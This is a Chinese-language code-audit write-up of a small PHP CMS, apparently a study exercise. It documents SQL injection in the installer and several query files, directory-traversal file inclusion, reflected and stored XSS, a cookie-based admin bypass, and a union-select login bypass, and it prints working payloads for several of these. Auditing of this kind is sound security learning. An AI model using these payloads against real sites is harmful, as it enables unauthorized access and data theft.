[TOC]
我们首先可以使用window下自带的tree命令生成文件目录。
我们使用命令,生成目录文件。
tree /f>tree.txt
我们分析主目录文件的功能:
——admin //后台文件
——css //css文件
——files //功能函数文件
——images //图片
——index.php //主目录文件
——install //安装文件
——seacmseditor //编辑器
——template //模板文件
——upload //文件上传目录
我们使用RIPS或SEAY进行扫描。
漏洞位置:/install/index.php
RIPS审计出现sql注入,跟进文件比对审计结果。
通读代码发现代码逻辑如下:
1.检测是否生成了InstallLock.txt文件
2.执行sql语句
审计发现这里sql语句确实没有经过过滤,直接插入update的sql语句,导致sql注入。
payload:
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
1.根据源码可知,我们首先需要删除安装目录下的installLock.txt文件(如果网站上存在一个任意文件删除漏洞)
2.删除后我们重新进入安装界面。
在管理账号一栏输入我们的payload,也就是我们常见的报错注入方法,
之后我们提交:
发现在修改错误一栏发现爆出我们的Mysql版本,证明漏洞存在。
跟进文件
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
代码逻辑大概为,通过GET型传参传入r,并将值经过一个addslashes()
函数操作,然后一个三元运算符判断要载入的文件,直接进入include
函数包含。
include('files/'.$action.'.php');
这条语句包含了file目录下的文件。
语法为:条件表达式?表达式1:表达式2
问号前面的位置是判断的条件,判断结果为bool型,为true是调用表达式1,为false时调用表达式2.
由代码逻辑可知,代码限制了我们访问的目录为file。
Bypass:可用../
进行目录跳转。
我们首先在cms根目录下新建一个phpinfo文件
然后我们在本地访问index.php添加如下参数。即可正确解析phpinfo界面
因为此处代码会自动在文件名后添加.php,所以我们不添加后缀名,否则无法正常解析。
结合RIPS扫描结果可发现多处sql注入漏洞,该CMS采用过滤方式大多是通过addslashes()
函数过滤。
单纯使用addslashes()
函数会造成两个问题:
漏洞位置:files/software.php
第13行,where后字句忘记加单引号保护。
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
漏洞位置:files/content.php
第19行,where后字句忘记加单引号保护。
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
首先可看见 过滤和传参
$type=addslashes($_GET['type']); $name=$_POST['name']; $mail=$_POST['mail']; $url=$_POST['url']; $content=$_POST['content']; $cid=$_POST['cid']; $ip=$_SERVER["REMOTE_ADDR"]; $tz=$_POST['tz']; if ($tz==""){$tz=0;} $jz=$_POST['jz'];
只对type
参数进行了过滤,因此其他参数涉及到sql语句的可能存在sql注入。
漏洞位置:files/submit.php
第66行
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
漏洞位置:files/submit.php
第121-147行
$query = "INSERT INTO interaction ( type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date ) VALUES ( '$type', '$xs', '$cid', '$name', '$mail', '$url', '$touxiang', '$shebei', '$ip', '$content', '$tz', now() )";
漏洞位置:files/submit.php
第176行
$query = "SELECT * FROM content WHERE( id= $cid)";
漏洞位置:files/submit.php
第206行
$query = "SELECT * FROM download WHERE( id= $cid)";
漏洞位置:files/contact.php
第12~15行
$page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."页 - ";
经过一次addslashes
函数处理就直接带入页面。
我们访问网址的联系功能,找到了代码对于的page参数,其实就是留言列表的页数。
我们尝试插入一个简单XSS payload
page=<img src=x onerror=alert(/xss/);>
漏洞利用成功。
漏洞位置:files/content.php
<div class="manageinfo">
<ul>
<div class="lou">回复 #<?php echo $pinglun['id']?> 楼</div>
<?php
$query2 = "SELECT * FROM manage";
$resul2 = mysql_query($query2) or die('SQL语句有误:'.mysql_error());
$manage2 = mysql_fetch_array($resul2);
if ($manage2['img']==""){
$touxiang="images/manage.jpg";
} else{
$touxiang=$manage2['img'];
}
?>
<img src="<?php echo $touxiang?>">
<strong><?php echo $manage2['name']?><span>认证站长</span></strong>
<li>位置:<a><?php echo $pinglun['rip']?></a></li>
<li>时间:<a><?php echo tranTime(strtotime($pinglun['rdate']))?></a></li>
<li>来自:<a><?php echo $pinglun['rshebei']?></a></li>
</ul>
</div>
这里是从$pinglun这个变量中取出其中的信息,随后插入存储信息的interaction
表
在/files/submit.php
中将content内容给过滤。
$content=addslashes(strip_tags($content)); //过滤HTML
在评论处可以提交昵称、邮箱、网址、评论内容,但是显示评论和留言的地方有昵称,所以只有昵称处有存储型XSS。
漏洞位置:inc/checklogin.php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
该处的代码逻辑存在问题,直接从COOKIE
处赋值给$user
如果 $user
为空就跳转至登录界面
反之如果不为空就可以访问,因此存在越权访问。
漏洞利用:
我们首先从admin中进入使用之前的账号登录后台。然后找到一个发布内容的页面:参数为?r=newwz
之后我们退出登录,回到登录界面。查看页面的cookie
发现在cookie里确实没有user值,我们尝试直接跳转刚才登录后的发布页面,发现会自动跳转到登录界面。
根据代码逻辑,我们可以尝试在cookie中添加一个user,因为代码没有判断user的具体值,所以填入任意数值即可。
我们在尝试跳转页面,
发现没有登录,我们也成功进入了后台页面。
漏洞位置:admin/files/login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
万能密码登录有两个点:
1.user未经过过滤直接拼接进入数据库查询
2.password的md5对比可绕过
payload:
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b
我们进入后台,在账号一栏中填入payload,密码输入mad5加密的1即可成功登录。
漏洞分析
我们登录我们的mysql数据库,查询xhcms库下的manage表
我们使用联合查询的方法,发现结果在数据库下添加一行新的参数,而添加的值我们是可控的。
所以我们的payload就是通过传入新的md5加密后的password,从而达到绕过验证,直接登录的目的。
这个cms和bluecms用来入门代码审计还是不错的,但是现在大多数cms应该都不会有这种很低级的sql注入或文件包含了。。。。。用来学习审计思路还是挺好的。